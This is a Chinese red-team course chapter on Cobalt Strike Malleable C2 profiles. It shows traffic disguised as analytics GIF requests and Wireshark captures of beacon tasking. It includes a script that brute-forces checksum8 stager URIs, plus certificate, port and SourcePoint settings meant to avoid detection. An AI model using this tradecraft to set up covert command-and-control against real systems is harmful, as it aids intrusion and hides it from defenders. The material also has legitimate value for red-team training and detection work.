# C2侧写

## **C2侧写**

Cobalt Strike 支持自定义侧写。自定义侧写不仅可以让我们自定义 Beacon 与 Team Server 之间的通信方式，从网络通信层面实现混淆效果，还可以自定义 **Beacon 行为特征，例如反射DLL拓展、进程注入设置、后利用选项等**。Malleable C2 仓库([https://github.com/rsmudge/Malleable-C2-Profiles](https://github.com/rsmudge/Malleable-C2-Profiles))整合了一系列的 C2 侧写 ，但是考虑到这个仓库是公开的，侧写中的通信模式被标记也是显然的事情。因此，如果用于实战中，我们需要对这些侧写进行二次修改甚至完全重写。

接下来，我们选择一个较为简单的 C2 侧写文件 **webbug.profile** 作为案例，简要分析 HTTP 协议下的流量特征。HTTPS 监听器相比 HTTP 监听器，增加了 TLS 层对通信的加密，但其他是相似的。值得一提的是，如果在实战过程中更换 C2 侧写，可能会丢失目前的所有 Beacon，这是理所当然的，因为通信模式都改变了。

如下所示的是侧写中的完整内容，该侧写定义了 **URI**、**请求参数**、**请求头**、**数据主体**等参数，让我们来按模块分析一下这个侧写。

```
http-get {
        set uri "/__utm.gif";
        client {
                parameter "utmac" "UA-2202604-2";
                parameter "utmcn" "1";
                parameter "utmcs" "ISO-8859-1";
                parameter "utmsr" "1280x1024";
                parameter "utmsc" "32-bit";
                parameter "utmul" "en-US";

                metadata {
                        netbios;
                        prepend "__utma";
                        parameter "utmcc";
                }
        }

        server {
                header "Content-Type" "image/gif";

                output {
                        # hexdump pixel.gif
                        # 0000000 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00
                        # 0000010 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00
                        # 0000020 01 00 01 00 00 02 01 44 00 3b 

                        prepend "\x01\x00\x01\x00\x00\x02\x01\x44\x00\x3b";
                        prepend "\xff\xff\xff\x21\xf9\x04\x01\x00\x00\x00\x2c\x00\x00\x00\x00";
                        prepend "\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\x00\x00";

                        print;
                }
        }
}

http-post {
        set uri "/___utm.gif";
        client {
                header "Content-Type" "application/octet-stream";

                id {
                        prepend "UA-220";
                        append "-2";
                        parameter "utmac";
                }

                parameter "utmcn" "1";
                parameter "utmcs" "ISO-8859-1";
                parameter "utmsr" "1280x1024";
                parameter "utmsc" "32-bit";
                parameter "utmul" "en-US";

                output {
                        print;
                }
        }

        server {
                header "Content-Type" "image/gif";

                output {
                        prepend "\x01\x00\x01\x00\x00\x02\x01\x44\x00\x3b";
                        prepend "\xff\xff\xff\x21\xf9\x04\x01\x00\x00\x00\x2c\x00\x00\x00\x00";
                        prepend "\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\x00\x00";
                        print;
                }
        }
}

# dress up the staging process too
http-stager {
        server {
                header "Content-Type" "image/gif";
        }
}

```

如下所示的是 **http-get** 块，定义了 **GET 请求**的通信模式。**set uri** 指定了服务器与客户端要使用的 URI，这里是 **\_\_utm.gif**。如果请求的 URI 与侧写中这里指定的不同，那么会返回 **404** 响应。

```
http-get {
        set uri "/__utm.gif";
        client {
                parameter "utmac" "UA-2202604-2";
                parameter "utmcn" "1";
                parameter "utmcs" "ISO-8859-1";
                parameter "utmsr" "1280x1024";
                parameter "utmsc" "32-bit";
                parameter "utmul" "en-US";

                metadata {
                        netbios;
                        prepend "__utma";
                        parameter "utmcc";
                }
        }

        server {
                header "Content-Type" "image/gif";

                output {
                        # hexdump pixel.gif
                        # 0000000 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00
                        # 0000010 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00
                        # 0000020 01 00 01 00 00 02 01 44 00 3b 

                        prepend "\x01\x00\x01\x00\x00\x02\x01\x44\x00\x3b";
                        prepend "\xff\xff\xff\x21\xf9\x04\x01\x00\x00\x00\x2c\x00\x00\x00\x00";
                        prepend "\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\x00\x00";

                        print;
                }
        }
}
```

**client** 块中指定了可以添加到 URI 后面的参数，以及固定的数值，通过 **key-value** 的形式存在。**metadata** 块则定义了有关 Beacon 所在**受控主机的相关信息**是如何传递的。这里，这些信息采用了 **netbios 编码**，为 **utmcc 参数**的值，并且值的最前端有字符串 "**\_\_utma**"。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/awEw0z4UK7tkxl9r-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/awEw0z4UK7tkxl9r-image.png)

而 **server** 块定义了来自团队服务器的响应看起来是怎样的，这里，侧写指定了类型为 **image/gif** 的 **Content-type 响应头**。**output** 块定义了返回的数据是怎么被转换的，**print** 对应**数据主体**，这里，该侧写在数据主体之前附加了**固定的数据**。

分析完 http-get 块之后，**http-post** 块也是类似的语法与含义。让我们看看 Wireshark 视角下的数据包：

我们能看到，通信数据包主要以 **GET 请求**为主，因为无论是主机**首次上线**团队服务器，还是受害主机后续通过 Beacon 来向服务器**确认存活**，都是通过 GET 请求的。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/YEXKVBtmu8NLQlU8-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/YEXKVBtmu8NLQlU8-image.png)

查看其中一个 GET 请求详情，我们能看到侧写文件中定义的 URI，参数与其固定值，metadata 所对应的参数与值等信息。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/wo1ABlEIpftvOGvk-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/wo1ABlEIpftvOGvk-image.png)

如果团队服务器有分发任务(这里是执行 getuid 命令)，那么**任务信息**会包含在对 **GET 请求的响应**中。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/dCWgYrBiCv4i4rrm-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/dCWgYrBiCv4i4rrm-image.png)

如果没有分发的任务，除了添加的固定数据外，则是空的。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/JmMe4uEY7VIW2Q02-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/JmMe4uEY7VIW2Q02-image.png)

当命令在 Beacon 端执行后，客户端通过 **POST** 请求传输加密后的输出数据。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/EEGgv1TeA5KJG7Kh-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/EEGgv1TeA5KJG7Kh-image.png)

我们再来说说 **Http Stager 监听器**。Stageless 的载荷，即是完整的 CobaltStrike Agent，一般在 200-300 KB。一方面，因为尺寸相对较大，且文件的特征更为显著，因此有时操作员会同时启用 Stager 监听器，以及分发 Stager 载荷。Stager 载荷尺寸要小得多，负责从团队服务器的 Stager 监听器上拉取 DLL 载荷并注入于内存中。但 Stager 监听器也有着 OPSEC 上的风险，尤其是 CobaltStrike 对它的实现。

CobaltStrike 使用了 **checksum8** 的 URL 算法来分发载荷，算法代码如下所示：

```java
public static long checksum8(String text) {
    if (text.length() < 4) {
        return 0L;
    }
    text = text.replace("/", "");
    long sum = 0L;
    for (int x = 0; x < text.length(); x++) {
        sum += text.charAt(x);
    }

    return sum % 256L;
}

public static boolean isStager(String uri) {
    return (checksum8(uri) == 92L);
}

public static boolean isStagerX64(String uri) {
    return (checksum8(uri) == 93L && uri.matches("/[A-Za-z0-9]{4}"));
}
```

我们可以通过如下的 Python 代码暴力破解出所有可用的 URI：

```python
from itertools import product
import string

def checksum8(strr):
    j = 0
    if len(strr) < 4:
        return 0
    strr = strr.replace("/", "")
    for c in strr:
        j += ord(c)
    return j % 256

chars = string.ascii_letters + string.digits
to_attempt = product(chars, repeat=4)
for attempt in to_attempt:
    word = ''.join(attempt)
    r = checksum8(word)
    if r == 92:
        print("{:30} - 32b checksum".format(word))
    elif r == 93:
        print("{:30} - 64b checksum".format(word))
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/xrHu9crncCsNUp1Q-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/xrHu9crncCsNUp1Q-image.png)

例如通过 GET 请求访问 **/aab9**，可以得到 64 位的载荷。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/pyu2881FS1pRLYm7-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/pyu2881FS1pRLYm7-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/nM2AVOFKsC5ue6QA-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/nM2AVOFKsC5ue6QA-image.png)

因为防御者很容易拉取载荷进行取证，我们最好直接关闭 Stager 监听器，通过在 **http-stager 块**上方加入这么一行：

```
set host_stage "false";
```

当然，在 C2 侧写文件中我们能指定的远不止这些，并且随着 CobaltStrike 的版本迭代，越来越多新的选项，尤其是关于 **Beacon 行为特征**的设置，可以被团队服务器识别与生效。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/nyOUVmMZ06egnQXu-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/nyOUVmMZ06egnQXu-image.png)

关于侧写基础选项的语法可以参考官方文档([https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/malleable-c2\_profile-language.htm ](https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/malleable-c2_profile-language.htm))

我们还在课程的初期阶段，更多后利用与内存特征规避的选项还未接触到(我们会在**第 15 章节**讨论)，但为了避免在中后期因为需要频繁修改侧写文件而丢失所有 Beacon，我们这里可以选择配置了更多选项且相对注重 OPSEC 的 **JQuery-C2** 侧写，可以在 [https://github.com/threatexpress/malleable-c2](https://github.com/threatexpress/malleable-c2) 下载对应 Cobalt Strike 版本的侧写文件。尽管该侧写本身相对成熟，但毕竟依旧是开源的，因此建议你们尝试着自己修改一些选项，也算作为巩固的练习。

我们之前已经创建了 SSL 证书，命令如下。

```bash
openssl req -new -newkey rsa:4096 -x509 -sha256 -days 365 -nodes -out public.crt -keyout private.key
openssl req -new -key private.key -out raven.csr
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/kbGQgbdk6d966IuL-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/kbGQgbdk6d966IuL-image.png)

接着，我们需要把证书和密钥导入到 Cobalt Strike 中。先把证书和密钥合成为单个的 **pkcs12** 文件，然后通过 Keytool 导入到 Java 的密钥存储。

```bash
openssl pkcs12 -inkey private.key -in public.crt -export -out azure.pkcs12
keytool -importkeystore -srckeystore ts.pkcs12 -srcstoretype pkcs12 -destkeystore azure.store
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/IVmbpRobcExWzo5L-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/IVmbpRobcExWzo5L-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/iX06ooFTadujxcas-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/iX06ooFTadujxcas-image.png)

我们导入证书，还可以消除 CobaltStrike 的一个特征，即**服务端与客户端之间**通信的**默认证书**。我们能从证书中看到 cobaltstrike 的字样：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/KD7vt1kkj9Fn64BZ-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/KD7vt1kkj9Fn64BZ-image.png)

以及修改侧写文件中 **https-certificate** 部分，这将促使 HTTPS 的 Beacon 使用配置的证书。这里，我们复用客户端服务端之间通信的证书，如果有着更高的 OPSEC 需求，甚至可以使用不同的证书。

修改前

```nginx
https-certificate {


    #set keystore "/pathtokeystore";
    #set password "password";

    set C   "US";
    set CN  "jquery.com";
    set O   "jQuery";
    set OU  "Certificate Authority";
    set validity "365";
}

```

修改后

```nginx
https-certificate {
    set keystore "azure.store";
    set password "123456"
}
```

以及不要忘记修改 teamserver 脚本的最后一行中的 **keystore 文件**以及**密码**，保存。

```bash
# start the team server.
java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=49227 -Dcobaltstrike.server_bindto=0.0.0.0 -Djavax.net.ssl.keyStore=./azure.store -Djavax.net.ssl.keyStorePassword=123123 -server -XX:+AggressiveHeap -XX:+UseParallelGC -classpath ./cobaltstrike.jar:. -Duser.language=en server.TeamServer $*

```

编辑好侧写文件之后，我们可以使用 **c2lint** 工具通过模拟各种情况下的请求与响应来检查侧写文件中是否有语法错误，命令为 **./c2lint xx.profile**

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/CaqhHEfvsi8HMOOL-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/CaqhHEfvsi8HMOOL-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/by5nm1Efi5t2oyK6-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/by5nm1Efi5t2oyK6-image.png)

以及不要忘记修改团队服务器端口。编辑 teamserver 脚本，翻到第 57 行，将默认的 **50050** 换为另外一个端口。

```
# start the team server.
java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=49227 -Dcobaltstrike.server_bindto=0.0.0.0 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword=123456 -server -XX:+AggressiveHeap -XX:+UseParallelGC -classpath ./cobaltstrike.jar:. -Duser.language=en server.TeamServer $*
```

此外，我们可以用工具 **SourcePoint**([https://github.com/Tylous/SourcePoint](https://github.com/Tylous/SourcePoint)) 来生成属于更加自定义的 C2 侧写。我们需要先填写一个 yaml 文件：

```yaml
Stage: "False"
Host: "azuresky.live"
Keystore: "azure.store"
Password: "123123"
Metadata: "netbios"
Injector: "VirtualAllocEx"
Outfile: "sp.profile"
PE_Clone: 20
Profile: 4
Allocation: 5312
Jitter: 30
Debug: true
Sleep: 35
Uri: 3
Useragent:  "Innocent"
Post-EX Processname: 11
Datajitter: 40
Keylogger: "SetWindowsHookEx"
Customuri: 
CDN:
CDN_Value: 
ProfilePath: 
Forwarder: True
```

然后我们用 sourcepoint 来根据 yaml 文件生成自定义的 C2 侧写：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/17Gnui9RKFGPEE9z-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/17Gnui9RKFGPEE9z-image.png)

因为 sourcepoint 生成的侧写的部分选项可能不被我们当前所使用的 CS 版本所支持，我们需要注释掉对应的选项与值，例如：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/QoPll80q1f3h3Ard-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/QoPll80q1f3h3Ard-image.png)

```
# Task and Proxy Max Size
#set tasks_max_size "1048576";
#set tasks_proxy_max_size "921600";
#set tasks_dns_proxy_max_size "71680";
.......
```

然后，使用 C2 lint 测试语法便能通过了。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/5l6f1oSxLCSnW6Sj-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/5l6f1oSxLCSnW6Sj-image.png)